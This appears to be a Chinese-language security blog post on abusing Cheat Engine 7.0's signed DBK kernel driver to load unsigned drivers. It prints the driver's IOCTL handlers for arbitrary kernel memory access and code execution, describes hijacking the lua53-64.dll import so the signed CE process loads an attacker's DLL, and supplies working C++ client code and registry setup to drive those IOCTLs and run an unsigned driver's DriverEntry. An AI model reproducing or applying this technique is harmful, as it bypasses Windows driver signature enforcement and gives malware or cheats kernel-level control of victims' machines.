一 分析CE7.0的DBK驅動
CE的DBK驅動提供了一些很直接的IOCTL接口,包括在分配內核中的非分頁內存、執行內核代碼、讀寫任意內存地址、建立mdl映射等,下面展示了DBK驅動通過IOCTL接口提供功能的部分源碼。
這里提供了分配/釋放非分頁內存的功能:
case IOCTL_CE_ALLOCATEMEM_NONPAGED:
{
struct input
{
ULONG Size;
} *inp;
PVOID address;
int size;
inp=Irp->AssociatedIrp.SystemBuffer;
size=inp->Size;
address=ExAllocatePool(NonPagedPool,size);
*(PUINT64)Irp->AssociatedIrp.SystemBuffer=0;
*(PUINT_PTR)Irp->AssociatedIrp.SystemBuffer=(UINT_PTR)address;
if (address==0)
ntStatus=STATUS_UNSUCCESSFUL;
else
{
DbgPrint("Alloc success. Cleaning memory... (size=%d)\n",size);
DbgPrint("address=%p\n", address);
RtlZeroMemory(address, size);
ntStatus=STATUS_SUCCESS;
}
break;
}
case IOCTL_CE_FREE_NONPAGED:
{
struct input
{
UINT64 Address;
} *inp;
inp = Irp->AssociatedIrp.SystemBuffer;
ExFreePool((PVOID)(UINT_PTR)inp->Address);
ntStatus = STATUS_SUCCESS;
break;
}
這里提供了給定內核地址就能直接執行內核代碼的功能:
case IOCTL_CE_EXECUTE_CODE:
{
typedef NTSTATUS (*PARAMETERLESSFUNCTION)(UINT64 parameters);
PARAMETERLESSFUNCTION functiontocall;
struct input
{
UINT64 functionaddress; //function address to call
UINT64 parameters;
} *inp=Irp->AssociatedIrp.SystemBuffer;
DbgPrint("IOCTL_CE_EXECUTE_CODE\n");
functiontocall=(PARAMETERLESSFUNCTION)(UINT_PTR)(inp->functionaddress);
__try
{
ntStatus=functiontocall(inp->parameters);
DbgPrint("Still alive\n");
ntStatus=STATUS_SUCCESS;
}
__except(1)
{
DbgPrint("Exception occured\n");
ntStatus=STATUS_UNSUCCESSFUL;
}
break;
}
之所以DBK驅動提供如此直白的接口但微軟還能給簽名,是因為DBK驅動做了一點基本的防護,在進程打開DBK驅動創建的設備對象時,它會通過進程文件對應的sig文件來校驗進程文件的數字簽名,如果校驗失敗,會打開設備對象失敗,從而阻止其他進程使用DBK驅動提供的功能,這也就是為什么CE的安裝目錄下有sig文件。

二 思路
我發現CE由于需要加載lua腳本,所以導入表里有lua53-64.dll,可以通過dll劫持讓CE在啟動之前就加載自己寫的dll,dll里加載DBK驅動,并打開其創建的設備對象,之后內存加載自己寫的未簽名驅動并運行DriverEntry,雖然DriverEntry不是在System進程下運行的但好歹是跑了R0的代碼。
三 詳細步驟
1、加載DBK驅動
CreateService創建服務,但在OpenService打開服務之前需要寫4個注冊表項,不然DBK驅動會加載失敗。
// 寫相關注冊表
HKEY hKey;
std::wstring subKey = Format(L"SYSTEM\\CurrentControlSet\\Services\\%ws", DBK_SERVICE_NAME);
LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey.c_str(), 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS != status)
{
LOG("RegOpenKeyEx failed");
CloseServiceHandle(hService);
CloseServiceHandle(hMgr);
return false;
}
std::wstring AValue = Format(L"\\Device\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"A", 0, REG_SZ, reinterpret_cast<const BYTE*>(AValue.data()), AValue.size() * sizeof(wchar_t));
std::wstring BValue = Format(L"\\DosDevices\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"B", 0, REG_SZ, reinterpret_cast<const BYTE*>(BValue.data()), BValue.size() * sizeof(wchar_t));
std::wstring CValue = Format(L"\\BaseNamedObjects\\%ws", DBK_PROCESS_EVENT_NAME);
RegSetValueEx(hKey, L"C", 0, REG_SZ, reinterpret_cast<const BYTE*>(CValue.data()), CValue.size() * sizeof(wchar_t));
std::wstring DValue = Format(L"\\BaseNamedObjects\\%ws", DBK_THREAD_EVENT_NAME);
RegSetValueEx(hKey, L"D", 0, REG_SZ, reinterpret_cast<const BYTE*>(DValue.data()), DValue.size() * sizeof(wchar_t));
2、打開設備對象
打開設備對象后,需要將之前創建的4個注冊表項刪除掉。
3、利用DBK驅動提供的功能
下面是分配/釋放內核中的非分頁內存的代碼:
UINT64 DBK_AllocNonPagedMem(ULONG size)
{
#pragma pack(1)
struct InputBuffer
{
ULONG size;
};
#pragma pack()
InputBuffer inputBuffer;
inputBuffer.size = size;
UINT64 allocAddress = 0LL;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_ALLOCATEMEM_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), &allocAddress, sizeof(allocAddress), &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_ALLOCATEMEM_NONPAGED failed");
return 0;
}
return allocAddress;
}
bool DBK_FreeNonPagedMem(UINT64 allocAddress)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 address;
};
#pragma pack()
InputBuffer inputBuffer;
inputBuffer.address = allocAddress;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_FREE_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_FREE_NONPAGED failed");
return false;
}
return true;
}
下面是讀寫任意進程的內存地址的代碼(包括R0地址):
bool DBK_ReadProcessMem(UINT64 pid, UINT64 toAddr, UINT64 fromAddr, DWORD size, bool failToContinue)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 processid;
UINT64 startaddress;
WORD bytestoread;
};
#pragma pack()
UINT64 remaining = size;
UINT64 offset = 0;
do
{
UINT64 toRead = remaining;
if (remaining > 4096)
{
toRead = 4096;
}
InputBuffer inputBuffer;
inputBuffer.processid = pid;
inputBuffer.startaddress = fromAddr + offset;
inputBuffer.bytestoread = toRead;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_READMEMORY, (LPVOID)&inputBuffer, sizeof(inputBuffer), (LPVOID)(toAddr + offset), toRead, &retSize, NULL))
{
if (!failToContinue)
{
LOG("DeviceIoControl IOCTL_CE_READMEMORY failed");
return false;
}
}
remaining -= toRead;
offset += toRead;
} while (remaining > 0);
return true;
}
bool DBK_WriteProcessMem(UINT64 pid, UINT64 targetAddr, UINT64 srcAddr, DWORD size)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 processid;
UINT64 startaddress;
WORD bytestowrite;
};
#pragma pack()
UINT64 remaining = size;
UINT64 offset = 0;
do
{
UINT64 toWrite = remaining;
if (remaining > (512 - sizeof(InputBuffer)))
{
toWrite = 512 - sizeof(InputBuffer);
}
InputBuffer* pInputBuffer = (InputBuffer*)malloc(toWrite + sizeof(InputBuffer));
if (NULL == pInputBuffer)
{
LOG("malloc failed");
return false;
}
pInputBuffer->processid = pid;
pInputBuffer->startaddress = targetAddr + offset;
pInputBuffer->bytestowrite = toWrite;
memcpy((PCHAR)pInputBuffer + sizeof(InputBuffer), (PCHAR)srcAddr + offset, toWrite);
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_WRITEMEMORY, (LPVOID)pInputBuffer, (sizeof(InputBuffer) + toWrite), NULL, 0, &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_WRITEMEMORY failed");
free(pInputBuffer);
return false;
}
free(pInputBuffer);
remaining -= toWrite;
offset += toWrite;
} while (remaining > 0);
return true;
}
下面是執行內核地址的代碼:
bool DBK_ExecuteCode(UINT64 address)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 address;
UINT64 parameters;
};
#pragma pack()
InputBuffer inputBuffer;
inputBuffer.address = address;
inputBuffer.parameters = 0;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_EXECUTE_CODE, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_EXECUTE_CODE failed");
return false;
}
return true;
}
4、將未簽名驅動映射到內核內存中并修復其RVA以及導入表,之后運行其DriverEntry。
(具體代碼太多了,就不展示了)
5、創建驅動項目
要注意的是,由于這個驅動運行的方式不正常,所以要將入口點改為DriverEntry,還要禁用GS防護,這樣才能避免SecurityCookie引發的crash問題。


我在里面簡單打印了點日志用于驗證:
extern "C" NTSTATUS DriverEntry(
IN PDRIVER_OBJECT pDriverObject,
IN PUNICODE_STRING pRegistryPath)
{
KdPrint(("Enter DriverEntry\n"));
KdPrint(("Leave DriverEntry\n"));
return STATUS_SUCCESS;
}
四 結果
最終目錄如下:

管理員權限啟動richstuff-x86_64.exe,它會在運行前加載lua53-x64.dll,之后dll會加載richstuffk64.sys驅動并打開其創建的設備對象,再通過IO控制其映射MyDriver.sys到內存中并調用其DriverEntry。
上圖中的成果見附件CECheater.7z。
代碼見附件code.7z。
數世咨詢
CNCERT國家工程研究中心
安全內參
看雪學苑
安全圈
安全圈
看雪學苑
安全圈
雁行安全團隊
雷石安全實驗室
信息安全與通信保密雜志社
天億網絡安全